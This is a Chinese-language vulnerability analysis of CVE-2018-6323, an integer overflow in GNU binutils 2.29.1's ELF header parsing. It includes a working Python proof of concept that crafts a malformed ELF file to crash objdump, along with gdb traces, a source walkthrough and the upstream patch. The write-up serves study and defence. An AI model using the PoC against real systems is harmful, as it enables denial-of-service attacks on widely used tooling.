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464 lines
18 KiB
Markdown
464 lines
18 KiB
Markdown
# 7.1.7 [CVE-2018-6323] GNU binutils 2.29.1 Integer Overflow
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- [漏洞描述](#漏洞描述)
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- [漏洞复现](#漏洞复现)
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- [漏洞分析](#漏洞分析)
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- [参考资料](#参考资料)
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[下载文件](../src/exploit/7.1.7_binutils_2018-6323)
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## 漏洞描述
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二进制文件描述符（BFD）库（也称为libbfd）中头文件 `elfcode.h` 中的 `elf_object_p()` 函数（binutils-2.29.1 之前）具有无符号整数溢出，溢出的原因是没有使用 `bfd_size_type` 乘法。精心制作的 ELF 文件可能导致拒绝服务攻击。
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## 漏洞复现
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| |推荐使用的环境 | 备注 |
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| --- | --- | --- |
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| 操作系统 | Ubuntu 16.04 | 体系结构：32 位 |
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| 调试器 | gdb-peda| 版本号：7.11.1 |
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| 漏洞软件 | binutils | 版本号：2.29.1 |
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系统自带的版本是 2.26.1，我们这里编译安装有漏洞的最后一个版本 2.29.1：
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```
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$ wget https://ftp.gnu.org/gnu/binutils/binutils-2.29.1.tar.gz
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$ tar zxvf binutils-2.29.1.tar.gz
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$ cd binutils-2.29.1/
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$ ./configure --enable-64-bit-bfd
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$ make && sudo make install
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$ file /usr/local/bin/objdump
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/usr/local/bin/objdump: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=c2e0c7f5040cd6798b708cb29cfaeb8c28d8262b, not stripped
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```
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使用 PoC 如下：
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```python
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import os
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hello = "#include<stdio.h>\nint main(){printf(\"HelloWorld!\\n\"); return 0;}"
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f = open("helloWorld.c", 'w')
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f.write(hello)
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f.close()
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os.system("gcc -c helloWorld.c -o test")
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f = open("test", 'rb+')
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f.read(0x2c)
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f.write("\xff\xff") # 65535
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f.read(0x244-0x2c-2)
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f.write("\x00\x00\x00\x20") # 536870912
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f.close()
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os.system("objdump -x test")
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```
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```
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$ python poc.py
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objdump: test: File truncated
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*** Error in `objdump': free(): invalid pointer: 0x09b99aa8 ***
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======= Backtrace: =========
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/lib/i386-linux-gnu/libc.so.6(+0x67377)[0xb7e35377]
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/lib/i386-linux-gnu/libc.so.6(+0x6d2f7)[0xb7e3b2f7]
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/lib/i386-linux-gnu/libc.so.6(+0x6dc31)[0xb7e3bc31]
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objdump[0x814feab]
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objdump[0x8096c10]
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objdump[0x80985fc]
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objdump[0x8099257]
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objdump[0x8052791]
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objdump[0x804c1af]
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/lib/i386-linux-gnu/libc.so.6(__libc_start_main+0xf7)[0xb7de6637]
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objdump[0x804c3ca]
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======= Memory map: ========
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08048000-08245000 r-xp 00000000 08:01 265097 /usr/local/bin/objdump
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08245000-08246000 r--p 001fc000 08:01 265097 /usr/local/bin/objdump
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08246000-0824b000 rw-p 001fd000 08:01 265097 /usr/local/bin/objdump
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0824b000-08250000 rw-p 00000000 00:00 0
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09b98000-09bb9000 rw-p 00000000 00:00 0 [heap]
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b7a00000-b7a21000 rw-p 00000000 00:00 0
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b7a21000-b7b00000 ---p 00000000 00:00 0
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b7b99000-b7bb5000 r-xp 00000000 08:01 394789 /lib/i386-linux-gnu/libgcc_s.so.1
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b7bb5000-b7bb6000 rw-p 0001b000 08:01 394789 /lib/i386-linux-gnu/libgcc_s.so.1
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b7bcd000-b7dcd000 r--p 00000000 08:01 133406 /usr/lib/locale/locale-archive
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b7dcd000-b7dce000 rw-p 00000000 00:00 0
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b7dce000-b7f7e000 r-xp 00000000 08:01 395148 /lib/i386-linux-gnu/libc-2.23.so
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b7f7e000-b7f80000 r--p 001af000 08:01 395148 /lib/i386-linux-gnu/libc-2.23.so
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b7f80000-b7f81000 rw-p 001b1000 08:01 395148 /lib/i386-linux-gnu/libc-2.23.so
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b7f81000-b7f84000 rw-p 00000000 00:00 0
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b7f84000-b7f87000 r-xp 00000000 08:01 395150 /lib/i386-linux-gnu/libdl-2.23.so
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b7f87000-b7f88000 r--p 00002000 08:01 395150 /lib/i386-linux-gnu/libdl-2.23.so
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b7f88000-b7f89000 rw-p 00003000 08:01 395150 /lib/i386-linux-gnu/libdl-2.23.so
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b7f97000-b7f98000 rw-p 00000000 00:00 0
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b7f98000-b7f9f000 r--s 00000000 08:01 149142 /usr/lib/i386-linux-gnu/gconv/gconv-modules.cache
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b7f9f000-b7fa0000 r--p 002d4000 08:01 133406 /usr/lib/locale/locale-archive
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b7fa0000-b7fa1000 rw-p 00000000 00:00 0
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b7fa1000-b7fa4000 r--p 00000000 00:00 0 [vvar]
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b7fa4000-b7fa6000 r-xp 00000000 00:00 0 [vdso]
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b7fa6000-b7fc9000 r-xp 00000000 08:01 395146 /lib/i386-linux-gnu/ld-2.23.so
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b7fc9000-b7fca000 r--p 00022000 08:01 395146 /lib/i386-linux-gnu/ld-2.23.so
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b7fca000-b7fcb000 rw-p 00023000 08:01 395146 /lib/i386-linux-gnu/ld-2.23.so
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bff3a000-bff5b000 rw-p 00000000 00:00 0 [stack]
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Aborted (core dumped)
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```
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需要注意的是如果在 configure 的时候没有使用参数 `--enable-64-bit-bfd`，将会出现下面的结果：
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```
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$ python poc.py
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objdump: test: File format not recognized
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```
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## 漏洞分析
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首先要知道什么是 BFD。BFD 是 Binary File Descriptor 的简称，使用它可以在你不了解程序文件格式的情况下，读写 ELF header, program header table, section header table 还有各个 section 等。当然也可以是其他的 BFD 支持的对象文件(比如COFF，a.out等）。对每一个文件格式来说，BFD 都分两个部分：前端和后端。前端给用户提供接口，它管理内存和规范数据结构，也决定了哪个后端被使用和什么时候后端的例程被调用。为了使用 BFD，需要包括 `bfd.h` 并且连接的时候需要和静态库 `libbfd.a` 或者动态库 `libbfd.so` 一起连接。
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看一下这个引起崩溃的二进制文件，它作为一个可重定位文件，本来不应该有 program headers，但这里的 Number of program headers 这一项被修改为一个很大的值，已经超过了程序在内存中的范围：
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```
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$ file test
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test: ELF 32-bit LSB relocatable, Intel 80386, version 1 (SYSV), not stripped
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$ readelf -h test | grep program
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readelf: Error: Out of memory reading 536870912 program headers
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Start of program headers: 0 (bytes into file)
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Size of program headers: 0 (bytes)
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Number of program headers: 65535 (536870912)
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```
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objdump 用于显示一个或多个目标文件的各种信息，通常用作反汇编器，但也能显示文件头，符号表，重定向等信息。objdump 的执行流程是这样的：
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1. 首先检查命令行参数，通过 switch 语句选择要被显示的信息。
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2. 剩下的参数被默认为目标文件，它们通过 `display_bfd()` 函数进行排序。
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3. 目标文件的文件类型和体系结构通过 `bfd_check_format()` 函数来确定。如果被成功识别，则 `dump_bfd()` 函数被调用。
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4. `dump_bfd()` 依次调用单独的函数来显示相应的信息。
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回溯栈调用情况：
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```
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gdb-peda$ r -x test
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gdb-peda$ bt
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#0 0xb7fd9ce5 in __kernel_vsyscall ()
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#1 0xb7e2eea9 in __GI_raise (sig=0x6) at ../sysdeps/unix/sysv/linux/raise.c:54
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#2 0xb7e30407 in __GI_abort () at abort.c:89
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#3 0xb7e6a37c in __libc_message (do_abort=0x2,
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fmt=0xb7f62e54 "*** Error in `%s': %s: 0x%s ***\n")
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at ../sysdeps/posix/libc_fatal.c:175
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#4 0xb7e702f7 in malloc_printerr (action=<optimized out>,
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str=0xb7f5f943 "free(): invalid pointer", ptr=<optimized out>,
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ar_ptr=0xb7fb5780 <main_arena>) at malloc.c:5006
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#5 0xb7e70c31 in _int_free (av=0xb7fb5780 <main_arena>, p=<optimized out>,
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have_lock=0x0) at malloc.c:3867
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#6 0x0814feab in objalloc_free (o=0x8250800) at ./objalloc.c:187
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#7 0x08096c10 in bfd_hash_table_free (table=0x8250a4c) at hash.c:426
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#8 0x080985fc in _bfd_delete_bfd (abfd=abfd@entry=0x8250a08) at opncls.c:125
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#9 0x08099257 in bfd_close_all_done (abfd=0x8250a08) at opncls.c:773
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#10 0x08052791 in display_file (filename=0xbffff136 "test", target=<optimized out>,
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last_file=0x1) at ./objdump.c:3726
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#11 0x0804c1af in main (argc=0x3, argv=0xbfffef04) at ./objdump.c:4015
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#12 0xb7e1b637 in __libc_start_main (main=0x804ba50 <main>, argc=0x3, argv=0xbfffef04,
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init=0x8150fd0 <__libc_csu_init>, fini=0x8151030 <__libc_csu_fini>,
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rtld_fini=0xb7fea880 <_dl_fini>, stack_end=0xbfffeefc) at ../csu/libc-start.c:291
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#13 0x0804c3ca in _start ()
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```
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一步一步追踪函数调用：
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```c
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// binutils/objdump.c
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int
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main (int argc, char **argv)
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{
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[...]
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while ((c = getopt_long (argc, argv,
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"pP:ib:m:M:VvCdDlfFaHhrRtTxsSI:j:wE:zgeGW::",
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long_options, (int *) 0))
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!= EOF)
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{
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switch (c)
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{
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[...]
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case 'x':
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dump_private_headers = TRUE;
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dump_symtab = TRUE;
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dump_reloc_info = TRUE;
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dump_file_header = TRUE;
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dump_ar_hdrs = TRUE;
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dump_section_headers = TRUE;
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seenflag = TRUE;
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break;
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[...]
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}
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}
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if (formats_info)
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exit_status = display_info ();
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else
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{
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if (optind == argc)
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display_file ("a.out", target, TRUE);
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else
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for (; optind < argc;)
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{
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display_file (argv[optind], target, optind == argc - 1);
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optind++;
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}
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}
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[...]
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}
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```
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```c
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// binutils/objdump.c
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static void
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display_file (char *filename, char *target)
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{
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bfd *file;
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[...]
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file = bfd_openr (filename, target);
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[...]
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display_any_bfd (file, 0);
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if (! last_file)
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bfd_close (file);
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else
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bfd_close_all_done (file);
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}
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```
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```c
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// binutils/objdump.c
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static void
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display_any_bfd (bfd *file, int level)
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{
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/* Decompress sections unless dumping the section contents. */
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if (!dump_section_contents)
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file->flags |= BFD_DECOMPRESS;
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/* If the file is an archive, process all of its elements. */
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if (bfd_check_format (file, bfd_archive))
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{
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[...]
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}
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else
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display_object_bfd (file);
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}
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```
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最关键的部分，读取 program headers 的逻辑如下：
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```c
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// binutils/objdump.c
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/* Read in the program headers. */
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if (i_ehdrp->e_phnum == 0)
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elf_tdata (abfd)->phdr = NULL;
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else
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{
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Elf_Internal_Phdr *i_phdr;
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unsigned int i;
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#ifndef BFD64
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if (i_ehdrp->e_phnum > ((bfd_size_type) -1) / sizeof (*i_phdr))
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goto got_wrong_format_error;
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#endif
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amt = i_ehdrp->e_phnum * sizeof (*i_phdr); // <-- 整型溢出点
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elf_tdata (abfd)->phdr = (Elf_Internal_Phdr *) bfd_alloc (abfd, amt);
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if (elf_tdata (abfd)->phdr == NULL)
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goto got_no_match;
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if (bfd_seek (abfd, (file_ptr) i_ehdrp->e_phoff, SEEK_SET) != 0)
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goto got_no_match;
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i_phdr = elf_tdata (abfd)->phdr;
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for (i = 0; i < i_ehdrp->e_phnum; i++, i_phdr++)
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{
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Elf_External_Phdr x_phdr;
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if (bfd_bread (&x_phdr, sizeof x_phdr, abfd) != sizeof x_phdr)
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goto got_no_match;
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elf_swap_phdr_in (abfd, &x_phdr, i_phdr);
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}
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}
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```
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因为伪造的数值 `0xffff` 大于 0，进入读取 program headers 的代码。然后在溢出点乘法运算前，eax 为伪造的数值 `0x20000000`：
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```
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gdb-peda$ ni
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[----------------------------------registers-----------------------------------]
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EAX: 0x20000000 ('')
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EBX: 0x8250a08 --> 0x8250810 ("test")
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ECX: 0xd ('\r')
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EDX: 0x5f ('_')
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ESI: 0x8250ac8 --> 0x464c457f
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EDI: 0xd ('\r')
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EBP: 0x81ca560 --> 0x81c9429 ("elf32-i386")
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ESP: 0xbfffec20 --> 0xb7fe97eb (<_dl_fixup+11>: add esi,0x15815)
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EIP: 0x80aeba0 (<bfd_elf32_object_p+1856>: imul eax,eax,0x38)
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EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
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[-------------------------------------code-------------------------------------]
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0x80aeb90 <bfd_elf32_object_p+1840>: or DWORD PTR [ebx+0x28],0x800
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0x80aeb97 <bfd_elf32_object_p+1847>: jmp 0x80ae613 <bfd_elf32_object_p+435>
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0x80aeb9c <bfd_elf32_object_p+1852>: lea esi,[esi+eiz*1+0x0]
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=> 0x80aeba0 <bfd_elf32_object_p+1856>: imul eax,eax,0x38
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0x80aeba3 <bfd_elf32_object_p+1859>: sub esp,0x4
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0x80aeba6 <bfd_elf32_object_p+1862>: xor edx,edx
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0x80aeba8 <bfd_elf32_object_p+1864>: push edx
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0x80aeba9 <bfd_elf32_object_p+1865>: push eax
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[------------------------------------stack-------------------------------------]
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0000| 0xbfffec20 --> 0xb7fe97eb (<_dl_fixup+11>: add esi,0x15815)
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0004| 0xbfffec24 --> 0x8250ac8 --> 0x464c457f
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0008| 0xbfffec28 --> 0xd ('\r')
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0012| 0xbfffec2c --> 0x0
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0016| 0xbfffec30 --> 0x8250a0c --> 0x81ca560 --> 0x81c9429 ("elf32-i386")
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0020| 0xbfffec34 --> 0x82482a0 --> 0x9 ('\t')
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0024| 0xbfffec38 --> 0x8250a08 --> 0x8250810 ("test")
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0028| 0xbfffec3c --> 0x81ca560 --> 0x81c9429 ("elf32-i386")
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[------------------------------------------------------------------------------]
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Legend: code, data, rodata, value
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780 elf_tdata (abfd)->phdr = (Elf_Internal_Phdr *) bfd_alloc (abfd, amt);
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```
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做乘法运算，`0x20000000 * 0x38 = 0x700000000`，产生溢出。截断后高位的 `0x7` 被丢弃， eax 为 `0x00000000`，且 OVERFLOW 的标志位被设置：
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```
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gdb-peda$ ni
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[----------------------------------registers-----------------------------------]
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EAX: 0x0
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EBX: 0x8250a08 --> 0x8250810 ("test")
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ECX: 0xd ('\r')
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EDX: 0x5f ('_')
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ESI: 0x8250ac8 --> 0x464c457f
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EDI: 0xd ('\r')
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EBP: 0x81ca560 --> 0x81c9429 ("elf32-i386")
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ESP: 0xbfffec20 --> 0xb7fe97eb (<_dl_fixup+11>: add esi,0x15815)
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EIP: 0x80aeba3 (<bfd_elf32_object_p+1859>: sub esp,0x4)
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EFLAGS: 0xa07 (CARRY PARITY adjust zero sign trap INTERRUPT direction OVERFLOW)
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[-------------------------------------code-------------------------------------]
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0x80aeb97 <bfd_elf32_object_p+1847>: jmp 0x80ae613 <bfd_elf32_object_p+435>
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0x80aeb9c <bfd_elf32_object_p+1852>: lea esi,[esi+eiz*1+0x0]
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0x80aeba0 <bfd_elf32_object_p+1856>: imul eax,eax,0x38
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=> 0x80aeba3 <bfd_elf32_object_p+1859>: sub esp,0x4
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0x80aeba6 <bfd_elf32_object_p+1862>: xor edx,edx
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0x80aeba8 <bfd_elf32_object_p+1864>: push edx
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0x80aeba9 <bfd_elf32_object_p+1865>: push eax
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0x80aebaa <bfd_elf32_object_p+1866>: push ebx
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[------------------------------------stack-------------------------------------]
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0000| 0xbfffec20 --> 0xb7fe97eb (<_dl_fixup+11>: add esi,0x15815)
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0004| 0xbfffec24 --> 0x8250ac8 --> 0x464c457f
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0008| 0xbfffec28 --> 0xd ('\r')
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0012| 0xbfffec2c --> 0x0
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0016| 0xbfffec30 --> 0x8250a0c --> 0x81ca560 --> 0x81c9429 ("elf32-i386")
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0020| 0xbfffec34 --> 0x82482a0 --> 0x9 ('\t')
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0024| 0xbfffec38 --> 0x8250a08 --> 0x8250810 ("test")
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0028| 0xbfffec3c --> 0x81ca560 --> 0x81c9429 ("elf32-i386")
|
||
[------------------------------------------------------------------------------]
|
||
Legend: code, data, rodata, value
|
||
0x080aeba3 780 elf_tdata (abfd)->phdr = (Elf_Internal_Phdr *) bfd_alloc (abfd, amt);
|
||
```
|
||
于是，在随后的 `bfd_alloc()` 调用时，第二个参数即大小为 0，分配不成功：
|
||
```c
|
||
// bfd/opncls.c
|
||
|
||
void *bfd_alloc (bfd *abfd, bfd_size_type wanted);
|
||
```
|
||
```
|
||
gdb-peda$ ni
|
||
[----------------------------------registers-----------------------------------]
|
||
EAX: 0x0
|
||
EBX: 0x8250a08 --> 0x8250810 ("test")
|
||
ECX: 0xd ('\r')
|
||
EDX: 0x0
|
||
ESI: 0x8250ac8 --> 0x464c457f
|
||
EDI: 0xd ('\r')
|
||
EBP: 0x81ca560 --> 0x81c9429 ("elf32-i386")
|
||
ESP: 0xbfffec10 --> 0x8250a08 --> 0x8250810 ("test")
|
||
EIP: 0x80aebab (<bfd_elf32_object_p+1867>: call 0x8099540 <bfd_alloc>)
|
||
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
|
||
[-------------------------------------code-------------------------------------]
|
||
0x80aeba8 <bfd_elf32_object_p+1864>: push edx
|
||
0x80aeba9 <bfd_elf32_object_p+1865>: push eax
|
||
0x80aebaa <bfd_elf32_object_p+1866>: push ebx
|
||
=> 0x80aebab <bfd_elf32_object_p+1867>: call 0x8099540 <bfd_alloc>
|
||
0x80aebb0 <bfd_elf32_object_p+1872>: mov DWORD PTR [esi+0x50],eax
|
||
0x80aebb3 <bfd_elf32_object_p+1875>: mov eax,DWORD PTR [ebx+0xa0]
|
||
0x80aebb9 <bfd_elf32_object_p+1881>: add esp,0x10
|
||
0x80aebbc <bfd_elf32_object_p+1884>: mov ecx,DWORD PTR [eax+0x50]
|
||
Guessed arguments:
|
||
arg[0]: 0x8250a08 --> 0x8250810 ("test")
|
||
arg[1]: 0x0
|
||
arg[2]: 0x0
|
||
[------------------------------------stack-------------------------------------]
|
||
0000| 0xbfffec10 --> 0x8250a08 --> 0x8250810 ("test")
|
||
0004| 0xbfffec14 --> 0x0
|
||
0008| 0xbfffec18 --> 0x0
|
||
0012| 0xbfffec1c --> 0x80aea71 (<bfd_elf32_object_p+1553>: mov eax,DWORD PTR [esi+0x28])
|
||
0016| 0xbfffec20 --> 0xb7fe97eb (<_dl_fixup+11>: add esi,0x15815)
|
||
0020| 0xbfffec24 --> 0x8250ac8 --> 0x464c457f
|
||
0024| 0xbfffec28 --> 0xd ('\r')
|
||
0028| 0xbfffec2c --> 0x0
|
||
[------------------------------------------------------------------------------]
|
||
Legend: code, data, rodata, value
|
||
0x080aebab 780 elf_tdata (abfd)->phdr = (Elf_Internal_Phdr *) bfd_alloc (abfd, amt);
|
||
```
|
||
|
||
在后续的过程中，从 `bfd_close_all_done()` 到 `objalloc_free()`，用于清理释放内存，其中就对 `bfd_alloc()` 分配的内存区域进行了 `free()` 操作，而这又是一个不存在的地址，于是抛出了异常。
|
||
|
||
#### 补丁
|
||
该漏洞在 binutils-2.30 中被修复，补丁将 `i_ehdrp->e_shnum` 转换成 unsigned long 类型的 `bfd_size_type`，从而避免整型溢出。BFD 开发文件包含在软件包 `binutils-dev` 中：
|
||
```c
|
||
// /usr/include/bfd.h
|
||
typedef unsigned long bfd_size_type;
|
||
```
|
||
由于存在回绕，一个无符号整数表达式永远无法求出小于零的值，也就不会产生溢出。
|
||
|
||
所谓回绕，可以看下面这个例子：
|
||
```c
|
||
unsigned int ui;
|
||
ui = UINT_MAX; // 在 32 位上为 4 294 967 295
|
||
ui++;
|
||
printf("ui = %u\n", ui); // ui = 0
|
||
ui = 0;
|
||
ui--;
|
||
printf("ui = %u\n", ui); // 在 32 位上，ui = 4 294 967 295
|
||
```
|
||
|
||
补丁如下：
|
||
```diff
|
||
$ git show 38e64b0ecc7f4ee64a02514b8d532782ac057fa2 bfd/elfcode.h
|
||
commit 38e64b0ecc7f4ee64a02514b8d532782ac057fa2
|
||
Author: Alan Modra <amodra@gmail.com>
|
||
Date: Thu Jan 25 21:47:41 2018 +1030
|
||
|
||
PR22746, crash when running 32-bit objdump on corrupted file
|
||
|
||
Avoid unsigned int overflow by performing bfd_size_type multiplication.
|
||
|
||
PR 22746
|
||
* elfcode.h (elf_object_p): Avoid integer overflow.
|
||
|
||
diff --git a/bfd/elfcode.h b/bfd/elfcode.h
|
||
index 00a9001..ea1388d 100644
|
||
--- a/bfd/elfcode.h
|
||
+++ b/bfd/elfcode.h
|
||
@@ -680,7 +680,7 @@ elf_object_p (bfd *abfd)
|
||
if (i_ehdrp->e_shnum > ((bfd_size_type) -1) / sizeof (*i_shdrp))
|
||
goto got_wrong_format_error;
|
||
#endif
|
||
- amt = sizeof (*i_shdrp) * i_ehdrp->e_shnum;
|
||
+ amt = sizeof (*i_shdrp) * (bfd_size_type) i_ehdrp->e_shnum;
|
||
i_shdrp = (Elf_Internal_Shdr *) bfd_alloc (abfd, amt);
|
||
if (!i_shdrp)
|
||
goto got_no_match;
|
||
@@ -776,7 +776,7 @@ elf_object_p (bfd *abfd)
|
||
if (i_ehdrp->e_phnum > ((bfd_size_type) -1) / sizeof (*i_phdr))
|
||
goto got_wrong_format_error;
|
||
#endif
|
||
- amt = i_ehdrp->e_phnum * sizeof (*i_phdr);
|
||
+ amt = (bfd_size_type) i_ehdrp->e_phnum * sizeof (*i_phdr);
|
||
elf_tdata (abfd)->phdr = (Elf_Internal_Phdr *) bfd_alloc (abfd, amt);
|
||
if (elf_tdata (abfd)->phdr == NULL)
|
||
goto got_no_match;
|
||
```
|
||
|
||
打上补丁之后的 objdump 没有再崩溃：
|
||
```
|
||
$ objdump -v | head -n 1
|
||
GNU objdump (GNU Binutils) 2.30
|
||
$ objdump -x test
|
||
objdump: test: Memory exhausted
|
||
```
|
||
|
||
|
||
## 参考资料
|
||
- https://www.cvedetails.com/cve/CVE-2018-6323/
|
||
- [GNU binutils 2.26.1 - Integer Overflow (POC)](https://www.exploit-db.com/exploits/44035/)
|